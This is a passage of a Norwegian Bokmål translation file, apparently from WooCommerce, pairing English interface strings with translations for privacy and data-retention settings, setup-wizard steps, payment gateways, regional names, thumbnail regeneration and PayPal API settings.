msgid "Inactive accounts are those which have not logged in, or placed an order, for the specified duration. They will be deleted. Any orders will be converted into guest orders."
msgstr "Inaktive kontoer er de som ikke har logget inn, eller lagt inn en ordre, for den angitte perioden. De blir slettet. Eventuelle ordre blir konvertert til gjesteordre."
#: includes/admin/settings/class-wc-settings-accounts.php:218
msgid "Retain inactive accounts "
msgstr "Behold inaktive kontoer "
#: includes/admin/settings/class-wc-settings-accounts.php:213
msgid "Choose how long to retain personal data when it's no longer needed for processing. Leave the following options blank to retain this data indefinitely."
msgstr "Velg hvor lang tid personopplysninger skal beholdes når det ikke lenger er nødvendig for behandling. La følgende alternativer være tomme for å beholde disse dataene på ubestemt tid."
#: includes/admin/settings/class-wc-settings-accounts.php:212
msgid "Personal data retention"
msgstr "Oppbevaring av personopplysninger"
#. translators: %s privacy policy page name and link
#: includes/admin/settings/class-wc-settings-accounts.php:203
#: includes/customizer/class-wc-shop-customizer.php:801
#: includes/wc-template-functions.php:886
msgid "Your personal data will be used to process your order, support your experience throughout this website, and for other purposes described in our %s."
msgstr "Dine personopplysninger brukes til å behandle ordren din, øke brukervennligheten på nettstedet og andre formål som beskrevet i vår %s."
#: includes/admin/settings/class-wc-settings-accounts.php:200
#: includes/customizer/class-wc-shop-customizer.php:873
msgid "Optionally add some text about your store privacy policy to show during checkout."
msgstr "Du kan legge til litt tekst om butikkens personvernerklæring for visning i kassen."
#: includes/admin/settings/class-wc-settings-accounts.php:199
msgid "Checkout privacy policy"
msgstr "Personvernerklæring for kassen"
#. translators: %s privacy policy page name and link
#: includes/admin/settings/class-wc-settings-accounts.php:193
#: includes/wc-template-functions.php:890
msgid "Your personal data will be used to support your experience throughout this website, to manage access to your account, and for other purposes described in our %s."
msgstr "Dine personopplysninger brukes til å øke brukervennligheten på dette nettstedet, gi deg tilgang til administrasjon av din brukerkonto og andre formål som beskrevet i vår %s."
#: includes/admin/settings/class-wc-settings-accounts.php:190
msgid "Optionally add some text about your store privacy policy to show on account registration forms."
msgstr "Du kan eventuelt legge til litt tekst om butikkens personvernerklæring for visning på registreringsskjemaer for kontoer."
#: includes/admin/settings/class-wc-settings-accounts.php:189
msgid "Registration privacy policy"
msgstr "Personvernerklæring for registrering"
#: includes/admin/settings/class-wc-settings-accounts.php:46
msgid "privacy page"
msgstr "personvernside"
#. translators: %s: privacy page link.
#: includes/admin/settings/class-wc-settings-accounts.php:185
msgid "This section controls the display of your website privacy policy. The privacy notices below will not show up unless a %s is set."
msgstr "Denne delen styrer visning av nettstedets personvernerklæring. Personvernnotisene nedenfor vises ikke med mindre en «%s» er angitt."
#: includes/admin/settings/class-wc-settings-accounts.php:181
#: includes/customizer/class-wc-shop-customizer.php:822
#: includes/customizer/class-wc-shop-customizer.php:872
msgid "Privacy policy"
msgstr "Personvernerklæring"
#. translators: %d: orders count
#. translators: %s: orders count
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:571
#: src/Internal/Admin/Orders/ListTable.php:1637
msgid "Removed personal data from %s order."
msgid_plural "Removed personal data from %s orders."
msgstr[0] "Fjernet personopplysninger fra %s ordre."
msgstr[1] "Fjernet personopplysninger fra %s ordrer."
#: includes/admin/settings/class-wc-settings-accounts.php:146
msgid "Account erasure requests"
msgstr "Forespørsler om sletting av brukerkontoer"
#: includes/admin/settings/class-wc-settings-accounts.php:27
msgid "Accounts & Privacy"
msgstr "Kontoer og personvern"
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:271
msgid "List of allowed billing emails to check against when an order is placed. Separate email addresses with commas. You can also use an asterisk (*) to match parts of an email. For example \"*@gmail.com\" would match all gmail addresses."
msgstr "Liste over tillatte e-poster for fakturering å kontrollere mot når en ordre opprettes. Skill e-postadresser med komma. Du kan også bruke en stjerne (*) for samsvar mot deler av en e-post. For eksempel vil «*@gmail.com» samsvare med alle Gmail-adresser."
#: includes/admin/meta-boxes/class-wc-meta-box-coupon-data.php:269
msgid "Allowed emails"
msgstr "Tillatte e-posteradresse"
#: src/Internal/Admin/Orders/ListTable.php:994
msgid "Filter by registered customer"
msgstr "Filtrer på registrert kunde"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:153
#: src/Internal/Admin/Orders/ListTable.php:340
msgid "Remove personal data"
msgstr "Fjern personlige opplysninger"
#: includes/admin/importers/views/html-product-csv-import-form.php:78
msgid "Use previous column mapping preferences?"
msgstr "Bruk tidligere innstillinger for kolonnetilordning?"
#: includes/admin/class-wc-admin-setup-wizard.php:2300
msgid "View & Customize"
msgstr "Vis & tilpass"
#: includes/admin/class-wc-admin-setup-wizard.php:2297
msgid "Review Settings"
msgstr "Omtaleinnstillinger"
#: includes/admin/class-wc-admin-setup-wizard.php:2294
msgid "Visit Dashboard"
msgstr "Gå til kontrollpanelet"
#: includes/admin/class-wc-admin-setup-wizard.php:2289
msgid "You can also:"
msgstr "Du kan også:"
#: includes/admin/class-wc-admin-setup-wizard.php:2263
msgid "You're ready to add products to your store."
msgstr "Du er klar til å legge til produkter i butikken din."
#: includes/admin/class-wc-admin-setup-wizard.php:2262
msgid "Create some products"
msgstr "Opprett noen produkter"
#: includes/admin/class-wc-admin-setup-wizard.php:2074
msgid "Continue with WooCommerce Services"
msgstr "Fortsett med WooCommerce tjenester"
#: includes/admin/class-wc-admin-setup-wizard.php:2073
msgid "Connect your store to activate WooCommerce Services"
msgstr "Koble til din butikk for å aktivere WooCommerce Services"
#: includes/admin/class-wc-admin-setup-wizard.php:2062
msgid "Thanks for using Jetpack! Your store is almost ready: to activate services like %s, just connect your store."
msgstr "Takk for at du bruker Jetpack! Butikken din er nesten klar: for å aktivere tjenester som %s, er det bare å koble til din butikk."
#: includes/admin/class-wc-admin-setup-wizard.php:1935
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Mailchimp for WooCommerce"
msgstr "Mailchimp for WooCommerce"
#: includes/admin/class-wc-admin-setup-wizard.php:1934
msgid "Mailchimp icon"
msgstr "Mailchimp ikon"
#: includes/admin/class-wc-admin-setup-wizard.php:1932
msgid "Join the 16 million customers who use Mailchimp. Sync list and store data to send automated emails, and targeted campaigns."
msgstr "Bli med 16 millioner kunder som bruker Mailchimp. Synkroniser lister og lagrede data for å sende automatiserte e-poster og målrettede kampanjer."
#: includes/admin/class-wc-admin-setup-wizard.php:1931
#: src/Internal/Admin/RemoteFreeExtensions/DefaultFreeExtensions.php:208
msgid "Mailchimp"
msgstr "Mailchimp"
#: includes/admin/class-wc-admin-setup-wizard.php:1912
msgid "automated taxes icon"
msgstr "ikon for automatiske avgifter"
#: includes/admin/class-wc-admin-setup-wizard.php:1910
msgid "Save time and errors with automated tax calculation and collection at checkout. Powered by WooCommerce Services and Jetpack."
msgstr "Spar tid og unngå feil med automatisk avgiftsberegning og -innkreving i kassen. Drevet av WooCommerce Services og Jetpack."
#: includes/admin/class-wc-admin-setup-wizard.php:1902
msgid "Storefront icon"
msgstr "Storefront-ikon"
#. translators: %s: theme name.
#: includes/admin/class-wc-admin-setup-wizard.php:1895
msgid "Design your store with deep WooCommerce integration. If toggled on, we’ll install <a href=\"https://woocommerce.com/storefront/\" target=\"_blank\" rel=\"noopener noreferrer\">Storefront</a>, and your current theme <em>%s</em> will be deactivated."
msgstr "Design butikken din med dyp WooCommerce-integrasjon. Hvis du slår på, installerer vi <a href=\"https://woocommerce.com/storefront/\" target=\"_blank\" rel=\"noopener noreferrer\">Storefront</a> og ditt nåværende tema <em>%s</em> blir deaktivert."
#: includes/admin/class-wc-admin-setup-wizard.php:1882
msgid "Enhance your store with these recommended free features."
msgstr "Forbedre butikken din med disse anbefalte gratis funksjonene."
#: includes/admin/class-wc-admin-setup-wizard.php:1880
msgid "Recommended for All WooCommerce Stores"
msgstr "Anbefalt for alle WooCommerce butikker"
#: includes/admin/class-wc-admin-setup-wizard.php:1503
msgid "The PayFast extension for WooCommerce enables you to accept payments by Credit Card and EFT via one of South Africa’s most popular payment gateways. No setup fees or monthly subscription costs."
msgstr "PayFast-utvidelsen for WooCommerce gjør at du kan ta i mot betalinger med kredittkort og EFT via en av Sør-Afrikas mest populære betalingsløsninger. Ingen oppstartsgebyr eller månedlige abonnementskostnader."
#: includes/admin/class-wc-admin-setup-wizard.php:1502
msgid "WooCommerce PayFast Gateway"
msgstr "WooCommerce PayFast-port"
#: includes/admin/class-wc-admin-setup-wizard.php:1495
msgid "The eWAY extension for WooCommerce allows you to take credit card payments directly on your store without redirecting your customers to a third party site to make payment."
msgstr "EWAY-utvidelsen for WooCommerce gjør at du kan ta kredittkortbetalinger direkte i butikken uten å omdirigere kundene dine til et tredjeparts nettsted for å foreta betaling."
#: includes/admin/class-wc-admin-setup-wizard.php:1494
msgid "WooCommerce eWAY Gateway"
msgstr "WooCommerce eWAY-port"
#: includes/admin/class-wc-admin-setup-wizard.php:1486
msgid "WooCommerce Square"
msgstr "WooCommerce Square"
#: includes/admin/class-wc-admin-setup-wizard.php:1478
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Klarna Payments for WooCommerce"
msgstr "Klarna betalinger for WooCommerce"
#: includes/admin/class-wc-admin-setup-wizard.php:1470
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/data/index.js:2
msgid "Klarna Checkout for WooCommerce"
msgstr "Klarna Checkout for WooCommerce"
#: includes/admin/class-wc-admin-setup-wizard.php:1405
msgid "WooCommerce Stripe Gateway"
msgstr "WooCommerce Stripe betalingsmåte"
#: includes/admin/class-wc-admin-setup-wizard.php:842
msgid "The following plugins will be installed and activated for you:"
msgstr "Følgende utvidelser vil bli installert og aktivert for deg:"
#: src/Internal/Admin/Notes/TrackingOptIn.php:67
msgid "Help WooCommerce improve with usage tracking"
msgstr "Hjelp å forbedre WooCommerce med brukssporing"
#. translators: 1: currency name 2: currency symbol, 3: currency code
#: includes/admin/class-wc-admin-setup-wizard.php:557
msgid "%1$s (%2$s %3$s)"
msgstr "%1$s (%2$s %3$s)"
#: includes/admin/class-wc-admin-setup-wizard.php:537
msgid "What currency do you accept payments in?"
msgstr "Hvilke valutaer godtar du?"
#: includes/admin/class-wc-admin-setup-wizard.php:526
msgid "Choose a state…"
msgstr "Velg delstat/fylke…"
#: includes/admin/class-wc-admin-setup-wizard.php:246
#: assets/client/admin/chunks/5875.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/chunks/shipping-recommendations.js:1
#: assets/client/admin/onboarding/index.js:1
msgid "Recommended"
msgstr "Anbefalt"
#: includes/admin/class-wc-admin-settings.php:794
#: includes/wc-formatting-functions.php:1600
msgid "Year(s)"
msgstr "År"
#: includes/admin/class-wc-admin-settings.php:793
#: includes/wc-formatting-functions.php:1599
msgid "Month(s)"
msgstr "Måned(er)"
#: includes/admin/class-wc-admin-settings.php:792
#: includes/wc-formatting-functions.php:1598
msgid "Week(s)"
msgstr "Uke(r)"
#: includes/admin/class-wc-admin-settings.php:791
#: includes/wc-formatting-functions.php:1597
msgid "Day(s)"
msgstr "Dag(er)"
#: includes/admin/class-wc-admin-notices.php:282
#: includes/emails/class-wc-email.php:1341
msgid "You don’t have permission to do this."
msgstr "Du har ikke tillatelse til å gjøre dette."
#: includes/admin/class-wc-admin-importers.php:239
msgid "Insufficient privileges to import products."
msgstr "Utilstrekkelige rettigheter for å importere produkter."
#: includes/admin/class-wc-admin-exporters.php:147
msgid "Insufficient privileges to export products."
msgstr "Utilstrekkelige rettigheter for å eksportere produkter."
#: includes/admin/class-wc-admin-dashboard.php:489
msgid "Loading network orders"
msgstr "Laster inn nettverksordrer"
#: includes/admin/class-wc-admin-dashboard.php:61
msgid "WooCommerce Network Orders"
msgstr "WooCommerce nettverksordrer"
#: includes/admin/class-wc-admin-api-keys.php:222
msgid "You do not have permission to edit API Keys"
msgstr "Du har ikke tillatelse til å redigere API-nøkler"
#: includes/admin/class-wc-admin-api-keys.php:99
#: includes/admin/settings/class-wc-settings-advanced.php:50
msgid "REST API"
msgstr "REST API"
#: includes/admin/class-wc-admin-api-keys-table-list.php:37
msgid "No keys found."
msgstr "Ingen nøkler funnet."
#: includes/abstracts/abstract-wc-payment-gateway.php:222
msgid "Return to payments"
msgstr "Tilbake til betalinger"
#: i18n/states.php:1782
msgid "Yasothon"
msgstr "Yasothon"
#: i18n/states.php:1781
msgid "Yala"
msgstr "Yala"
#: i18n/states.php:1780
msgid "Uttaradit"
msgstr "Uttaradit"
#: i18n/states.php:1779
msgid "Uthai Thani"
msgstr "Uthai Thani"
#: i18n/states.php:1778
msgid "Udon Thani"
msgstr "Udon Thani"
#: i18n/states.php:1777
msgid "Ubon Ratchathani"
msgstr "Ubon Ratchathani"
#: i18n/states.php:1776
msgid "Trat"
msgstr "Trat"
#: i18n/states.php:1775
msgid "Trang"
msgstr "Trang"
#: i18n/states.php:1774
msgid "Tak"
msgstr "Tak"
#: i18n/states.php:1773
msgid "Surin"
msgstr "Surin"
#: i18n/states.php:1772
msgid "Surat Thani"
msgstr "Surat Thani"
#: i18n/states.php:1771
msgid "Suphan Buri"
msgstr "Suphan Buri"
#: i18n/states.php:1770
msgid "Sukhothai"
msgstr "Sukhothai"
#: i18n/states.php:1769
msgid "Songkhla"
msgstr "Songkhla"
#: i18n/states.php:1768
msgid "Sisaket"
msgstr "Sisaket"
#: i18n/states.php:1767
msgid "Sing Buri"
msgstr "Sing Buri"
#: i18n/states.php:1766
msgid "Satun"
msgstr "Satun"
#: i18n/states.php:1765
msgid "Saraburi"
msgstr "Saraburi"
#: i18n/states.php:1764
msgid "Samut Songkhram"
msgstr "Samut Songkhram"
#: i18n/states.php:1763
msgid "Samut Sakhon"
msgstr "Samut Sakhon"
#: i18n/states.php:1762
msgid "Samut Prakan"
msgstr "Samut Prakan"
#: i18n/states.php:1761
msgid "Sakon Nakhon"
msgstr "Sakon Nakhon"
#: i18n/states.php:1760
msgid "Sa Kaeo"
msgstr "Sa Kaeo"
#: i18n/states.php:1759
msgid "Roi Et"
msgstr "Roi Et"
#: i18n/states.php:1758
msgid "Rayong"
msgstr "Rayong"
#: i18n/states.php:1757
msgid "Ratchaburi"
msgstr "Ratchaburi"
#: i18n/states.php:1756
msgid "Ranong"
msgstr "Ranong"
#: i18n/states.php:1755
msgid "Prachuap Khiri Khan"
msgstr "Prachuap Khiri Khan"
#: i18n/states.php:1754
msgid "Prachin Buri"
msgstr "Prachin Buri"
#: i18n/states.php:1753
msgid "Phuket"
msgstr "Phuket"
#: i18n/states.php:1752
msgid "Phrae"
msgstr "Phrae"
#: i18n/states.php:1751
msgid "Phitsanulok"
msgstr "Phitsanulok"
#: i18n/states.php:1750
msgid "Phichit"
msgstr "Phichit"
#: i18n/states.php:1749
msgid "Phetchaburi"
msgstr "Phetchaburi"
#: i18n/states.php:1748
msgid "Phetchabun"
msgstr "Phetchabun"
#: i18n/states.php:1747
msgid "Phayao"
msgstr "Phayao"
#: i18n/states.php:1746
msgid "Phatthalung"
msgstr "Phatthalung"
#: i18n/states.php:1745
msgid "Phang Nga"
msgstr "Phang Nga"
#: i18n/states.php:1744
msgid "Pattani"
msgstr "Pattani"
#: i18n/states.php:1743
msgid "Pathum Thani"
msgstr "Pathum Thani"
#: i18n/states.php:1742
msgid "Nonthaburi"
msgstr "Nonthaburi"
#: i18n/states.php:1741
msgid "Nong Khai"
msgstr "Nong Khai"
#: i18n/states.php:1740
msgid "Nong Bua Lam Phu"
msgstr "Nong Bua Lam Phu"
#: i18n/states.php:1739
msgid "Narathiwat"
msgstr "Narathiwat"
#: i18n/states.php:1738
msgid "Nan"
msgstr "Nan"
#: i18n/states.php:1737
msgid "Nakhon Si Thammarat"
msgstr "Nakhon Si Thammarat"
#: i18n/states.php:1736
msgid "Nakhon Sawan"
msgstr "Nakhon Sawan"
#: i18n/states.php:1735
msgid "Nakhon Ratchasima"
msgstr "Nakhon Ratchasima"
#: i18n/states.php:1734
msgid "Nakhon Phanom"
msgstr "Nakhon Phanom"
#: i18n/states.php:1733
msgid "Nakhon Pathom"
msgstr "Nakhon Pathom"
#: i18n/states.php:1732
msgid "Nakhon Nayok"
msgstr "Nakhon Nayok"
#: i18n/states.php:1731
msgid "Mukdahan"
msgstr "Mukdahan"
#: i18n/states.php:1730
msgid "Maha Sarakham"
msgstr "Maha Sarakham"
#: i18n/states.php:1729
msgid "Mae Hong Son"
msgstr "Mae Hong Son"
#: i18n/states.php:1728
msgid "Lopburi"
msgstr "Lopburi"
#: i18n/states.php:1727
msgid "Loei"
msgstr "Loei"
#: i18n/states.php:1726
msgid "Lamphun"
msgstr "Lamphun"
#: i18n/states.php:1725
msgid "Lampang"
msgstr "Lampang"
#: i18n/states.php:1724
msgid "Krabi"
msgstr "Krabi"
#: i18n/states.php:1723
msgid "Khon Kaen"
msgstr "Khon Kaen"
#: i18n/states.php:1722
msgid "Kanchanaburi"
msgstr "Kanchanaburi"
#: i18n/states.php:1721
msgid "Kamphaeng Phet"
msgstr "Kamphaeng Phet"
#: i18n/states.php:1720
msgid "Kalasin"
msgstr "Kalasin"
#: i18n/states.php:1719
msgid "Chumphon"
msgstr "Chumphon"
#: i18n/states.php:1718
msgid "Chonburi"
msgstr "Chonburi"
#: i18n/states.php:1717
msgid "Chiang Rai"
msgstr "Chiang Rai"
#: i18n/states.php:1716
msgid "Chiang Mai"
msgstr "Chiang Mai"
#: i18n/states.php:1715
msgid "Chanthaburi"
msgstr "Chanthaburi"
#: i18n/states.php:1714
msgid "Chaiyaphum"
msgstr "Chaiyaphum"
#: i18n/states.php:1713
msgid "Chai Nat"
msgstr "Chai Nat"
#: i18n/states.php:1712
msgid "Chachoengsao"
msgstr "Chachoengsao"
#: i18n/states.php:1711
msgid "Buri Ram"
msgstr "Buri Ram"
#: i18n/states.php:1710
msgid "Bueng Kan"
msgstr "Bueng Kan"
#: i18n/states.php:1709
msgid "Bangkok"
msgstr "Bangkok"
#: i18n/states.php:1708
msgid "Ayutthaya"
msgstr "Ayutthaya"
#: i18n/states.php:1707
msgid "Ang Thong"
msgstr "Ang Thong"
#: i18n/states.php:1706
msgid "Amnat Charoen"
msgstr "Amnat Charoen"
#: i18n/states.php:1169
msgid "Sinoe"
msgstr "Sinoe"
#: i18n/states.php:1168
msgid "River Gee"
msgstr "River Gee"
#: i18n/states.php:1167
msgid "Rivercess"
msgstr "Rivercess"
#: i18n/states.php:1166
msgid "Nimba"
msgstr "Nimba"
#: i18n/states.php:1165
msgid "Montserrado"
msgstr "Montserrado"
#: i18n/states.php:1163
msgid "Margibi"
msgstr "Margibi"
#: i18n/states.php:1162
msgid "Lofa"
msgstr "Lofa"
#: i18n/states.php:1161
msgid "Grand Kru"
msgstr "Grand Kru"
#: i18n/states.php:1160
msgid "Grand Gedeh"
msgstr "Grand Gedeh"
#: i18n/states.php:1159
msgid "Grand Cape Mount"
msgstr "Grand Cape Mount"
#: i18n/states.php:1158
msgid "Grand Bassa"
msgstr "Grand Bassa"
#: i18n/states.php:1157
msgid "Gbarpolu"
msgstr "Gbarpolu"
#: i18n/states.php:1156
msgid "Bong"
msgstr "Bong"
#: i18n/states.php:1155
msgid "Bomi"
msgstr "Bomi"
#: i18n/states.php:115
msgid "Jashore"
msgstr "Jashore"
#: i18n/states.php:102
msgid "Chattogram"
msgstr "Chattogram"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:370
msgid "Profile →"
msgstr "Profil →"
#: includes/customizer/class-wc-shop-customizer.php:647
msgid "Image size used for products in the catalog."
msgstr "Bildestørrelse brukt for produkter i katalogen."
#. translators: %s: regen thumbs url
#: includes/customizer/class-wc-shop-customizer.php:590
msgid "After publishing your changes, new image sizes may not be shown until you <a href=\"%s\" target=\"_blank\">Regenerate Thumbnails</a>."
msgstr "Etter at du har publisert endringene, kan det hende at nye bildestørrelser ikke vises før du <a href=\"%s\" target=\"_blank\">Regenererer Miniatyrbilder</a>."
#. translators: 1: tools URL 2: regen thumbs url
#: includes/customizer/class-wc-shop-customizer.php:587
msgid "After publishing your changes, new image sizes may not be shown until you regenerate thumbnails. You can do this from the <a href=\"%1$s\" target=\"_blank\">tools section in WooCommerce</a> or by using a plugin such as <a href=\"%2$s\" target=\"_blank\">Regenerate Thumbnails</a>."
msgstr "Etter at du har publisert endringene, kan det hende at nye bildestørrelser ikke vises før du regenererer miniatyrbilder. Du kan gjøre dette fra <a href=\"%1$s\" target=\"_blank\">Verktøy i WooCommerce </a> eller ved å bruke en plugin som <a href=\"%2$s\" target=\"_blank\">Regenerate Thumbnails</a>."
#: includes/customizer/class-wc-shop-customizer.php:583
msgid "After publishing your changes, new image sizes will be generated automatically."
msgstr "Etter å ha publisert endringene vil nye bildestørrelser bli generert automatisk."
#: includes/class-wc-regenerate-images.php:161
msgid "Cancelled product image regeneration job."
msgstr "Regenerering av miniatyrbilder ble avbrutt."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:577
msgid "Thumbnail regeneration has been scheduled to run in the background."
msgstr "Regenerering av miniatyrbilder er planlagt til å kjøre i bakgrunnen."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:217
msgid "This will regenerate all shop thumbnails to match your theme and/or image settings."
msgstr "Dette vil regenerere alle butikkens miniatyrbilder slik at de samsvarer med temaet og/eller bildeinnstillingene."
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:151
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:216
#: src/Internal/ProductAttributesLookup/DataRegenerator.php:327
msgid "Regenerate"
msgstr "Regenerer"
#: includes/rest-api/Controllers/Version2/class-wc-rest-system-status-tools-v2-controller.php:215
msgid "Regenerate shop thumbnails"
msgstr "Regenerer butikkens miniatyrbilder"
#: includes/admin/views/html-notice-regenerating-thumbnails.php:12
msgid "Thumbnail regeneration is running in the background. Depending on the amount of images in your store this may take a while."
msgstr "Regenerering av miniatyrbilder kjører i bakgrunnen. Dette kan ta en stund avhengig av antall bilder i butikken."
#: includes/admin/views/html-notice-regenerating-thumbnails.php:10
msgid "Cancel thumbnail regeneration"
msgstr "Avbryt regenerering av miniatyrbilder"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:406
msgid "Change order status to completed"
msgstr "Endre status til fullført"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:397
msgid "Change order status to processing"
msgstr "Endre status til behandler"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:388
msgid "Change order status to on-hold"
msgstr "Endre status til på vent"
#: src/Internal/Admin/Orders/ListTable.php:1759
msgid "Edit this order"
msgstr "Rediger denne ordren"
#: includes/admin/class-wc-admin-taxonomies.php:440
msgid "This is the default category and it cannot be deleted. It will be automatically assigned to products with no category."
msgstr "Dette er standardkategorien, og den kan ikke slettes. Den blir automatisk tildelt produkter uten kategori."
#. translators: %s: taxonomy term name
#: includes/admin/class-wc-admin-taxonomies.php:404
msgid "Make “%s” the default category"
msgstr "Gjør “ %s ” til standardkategori"
#. translators: %s: default category
#: includes/admin/class-wc-admin-taxonomies.php:348
msgid "Deleting a category does not delete the products in that category. Instead, products that were only assigned to the deleted category are set to the category %s."
msgstr "Hvis du sletter en kategori, slettes ikke produktene i den kategorien. I stedet er produkter som bare ble tildelt den slettede kategorien satt til kategorien %s."
#. translators: %s: Quantity.
#: templates/global/quantity-input.php:24
msgid "%s quantity"
msgstr "%s antall"
#: templates/emails/block/general-block-email.php:38
#: templates/emails/block/general-block-email.php:52
#: templates/emails/customer-invoice.php:60
#: templates/emails/customer-invoice.php:74
msgid "Pay for this order"
msgstr "Betal denne ordren"
#: includes/gateways/paypal/includes/settings-paypal.php:200
msgid "Sandbox API signature"
msgstr "Sandbox API signatur"
#: includes/gateways/paypal/includes/settings-paypal.php:191
msgid "Sandbox API password"
msgstr "Sandbox API passord"
#: includes/gateways/paypal/includes/settings-paypal.php:182
msgid "Sandbox API username"
msgstr "Sandbox API brukernavn"
#: includes/gateways/paypal/includes/settings-paypal.php:173
msgid "Live API signature"
msgstr "Live API signatur"
#: includes/gateways/paypal/includes/settings-paypal.php:164
msgid "Live API password"
msgstr "Live API passord"
#: includes/gateways/paypal/includes/settings-paypal.php:155
msgid "Live API username"
msgstr "Live API brukernavn"
#: includes/gateways/paypal/includes/settings-paypal.php:126
msgid "Send notifications when an IPN is received from PayPal indicating refunds, chargebacks and cancellations."
msgstr "Send varslinger når en IPN er mottatt fra PayPal for refusjoner, tilbakeføringer og annulleringer."
#: includes/gateways/paypal/includes/settings-paypal.php:124
msgid "Enable IPN email notifications"
msgstr "Aktiver IPN e-postvarsler"
#: includes/gateways/paypal/includes/settings-paypal.php:122
msgid "IPN email notifications"
msgstr "IPN e-postvarsler"
#. translators: %s: Link to PayPal sandbox testing guide page
#: includes/gateways/paypal/class-wc-gateway-paypal.php:177
msgid "SANDBOX ENABLED. You can use sandbox testing accounts only. See the <a href=\"%s\">PayPal Sandbox Testing Guide</a> for more details."
msgstr "SANDBOX AKTIVERT. Du kan bare bruke \"sandbox testing\"-kontoer. Se <a href=\"%s\">PayPal Sandbox Testing Brukerguide</a> for flere detaljer."
#: includes/data-stores/class-wc-webhook-data-store.php:106
msgid "Invalid webhook."
msgstr "Ugyldig webhook."
#: includes/data-stores/class-wc-customer-download-log-data-store.php:93
msgid "Invalid download log: not found."
msgstr "Ikke gyldig nedlastingslogg: Ikke funnet."
#: includes/data-stores/class-wc-customer-download-log-data-store.php:84
msgid "Invalid download log: no ID."
msgstr "Ugyldig nedlastningslogg: ingen ID."
#: includes/data-stores/class-wc-customer-download-log-data-store.php:67
msgid "Unable to insert download log entry in database."
msgstr "Kan ikke sette inn nedlastings-loggoppføring i databasen."
#: includes/customizer/class-wc-shop-customizer.php:716
msgid "Images will display using the aspect ratio in which they were uploaded"
msgstr "Bilder vises med sideforholdet de ble lastet opp i"
#: includes/customizer/class-wc-shop-customizer.php:715
msgid "Uncropped"
msgstr "Ubeskåret"
#: includes/customizer/class-wc-shop-customizer.php:712
msgid "Images will be cropped to a custom aspect ratio"
msgstr "Bilder blir beskåret til et selvdefinert sideforhold"
#: includes/customizer/class-wc-shop-customizer.php:708
msgid "Images will be cropped into a square"
msgstr "Bilder blir beskåret til en firkant"
#: includes/customizer/class-wc-shop-customizer.php:707
msgid "1:1"
msgstr "1:1"
#: includes/customizer/class-wc-shop-customizer.php:704
msgid "Thumbnail cropping"
msgstr "Miniatyrbilde beskjæring"
#: includes/customizer/class-wc-shop-customizer.php:646
msgid "Thumbnail width"
msgstr "Miniatyrbilde bredde"
#: includes/customizer/class-wc-shop-customizer.php:619
msgid "Image size used for the main image on single product pages. These images will remain uncropped."
msgstr "Bildestørrelsen brukes for hovedbildet på enkeltprodukt-sider. Disse bildene blir ikke beskåret."
#: includes/customizer/class-wc-shop-customizer.php:618
msgid "Main image width"
msgstr "Hovedbilde bredde"
#: includes/customizer/class-wc-shop-customizer.php:596
msgid "Product Images"
msgstr "Produktbilder"
#: includes/customizer/class-wc-shop-customizer.php:560
msgid "How many rows of products should be shown per page?"
msgstr "Hvor mange rader med produkter skal vises pr. side?"
#: includes/customizer/class-wc-shop-customizer.php:559
#: assets/client/admin/components/index.js:2
msgid "Rows per page"
msgstr "Rader pr. side"
#: includes/customizer/class-wc-shop-customizer.php:530
msgid "How many products should be shown per row?"
msgstr "Hvor mange produkter skal vises i hver rad?"
#: includes/customizer/class-wc-shop-customizer.php:529
msgid "Products per row"
msgstr "Produkter per rad"
#: includes/customizer/class-wc-shop-customizer.php:492
#: src/Blocks/BlockTypes/ProductCollection/Controller.php:237
msgid "How should products be sorted in the catalog by default?"
msgstr "Hvordan skal produkter standard bli sortert i katalogen?"
#: includes/customizer/class-wc-shop-customizer.php:465
msgid "Choose what to display on product category pages."
msgstr "Velg hva som skal vises på produktkategori sidene."
#: includes/customizer/class-wc-shop-customizer.php:464
msgid "Category display"
msgstr "Katagorivisning"
#: includes/customizer/class-wc-shop-customizer.php:439
msgid "Choose what to display on the main shop page."
msgstr "Velg hva som skal vises på butikkens hovedside."
#: includes/customizer/class-wc-shop-customizer.php:419
#: assets/client/blocks/product-collection.js:1
msgid "Product Catalog"
msgstr "Produktkatalog"
#: includes/customizer/class-wc-shop-customizer.php:391
msgid "Enable store notice"
msgstr "Aktiver butikkmelding"
#: includes/customizer/class-wc-shop-customizer.php:381
msgid "If enabled, this text will be shown site-wide. You can use it to show events or promotions to visitors!"
msgstr "Hvis aktivert, så vil denne teksten bli vist på alle sider. Du kan bruke den til å vise fram arrangementer eller kampanjer til besøkende!"
#: includes/customizer/class-wc-shop-customizer.php:349
msgid "Store Notice"
msgstr "Butikkmelding"
#. translators: %d: Setting value
#: includes/customizer/class-wc-shop-customizer.php:128
msgid "The maximum allowed setting is %d"
msgstr "Maksimum tillatt verdi er %d"
#. translators: %d: Setting value
#: includes/customizer/class-wc-shop-customizer.php:126
msgid "The minimum allowed setting is %d"
msgstr "Minimum tillatt verdi er %d"
#: includes/class-wc-regenerate-images-request.php:261
msgid "Completed product image regeneration job."
msgstr "Fullført regenerering av produktbilder."
#. translators: %s: ID of the attachment.
#: includes/class-wc-regenerate-images-request.php:113
msgid "Regenerating images for attachment ID: %s"
msgstr "Regenererer bilder for vedlegg-ID:%s"
#. translators: %s: Product title
#: includes/class-wc-product-variable.php:90
msgid "Select options for “%s”"
msgstr "Velg innstillinger for «%s»"
#. translators: %s: Product title
#: includes/class-wc-product-grouped.php:55
msgid "View products in the “%s” group"
msgstr "Vis produkter i «%s»-gruppen"
#. translators: %s: Product title
#: includes/class-wc-product-external.php:195
msgid "Buy “%s”"
msgstr "Kjøp «%s»"
#: includes/admin/class-wc-admin-taxonomies.php:340
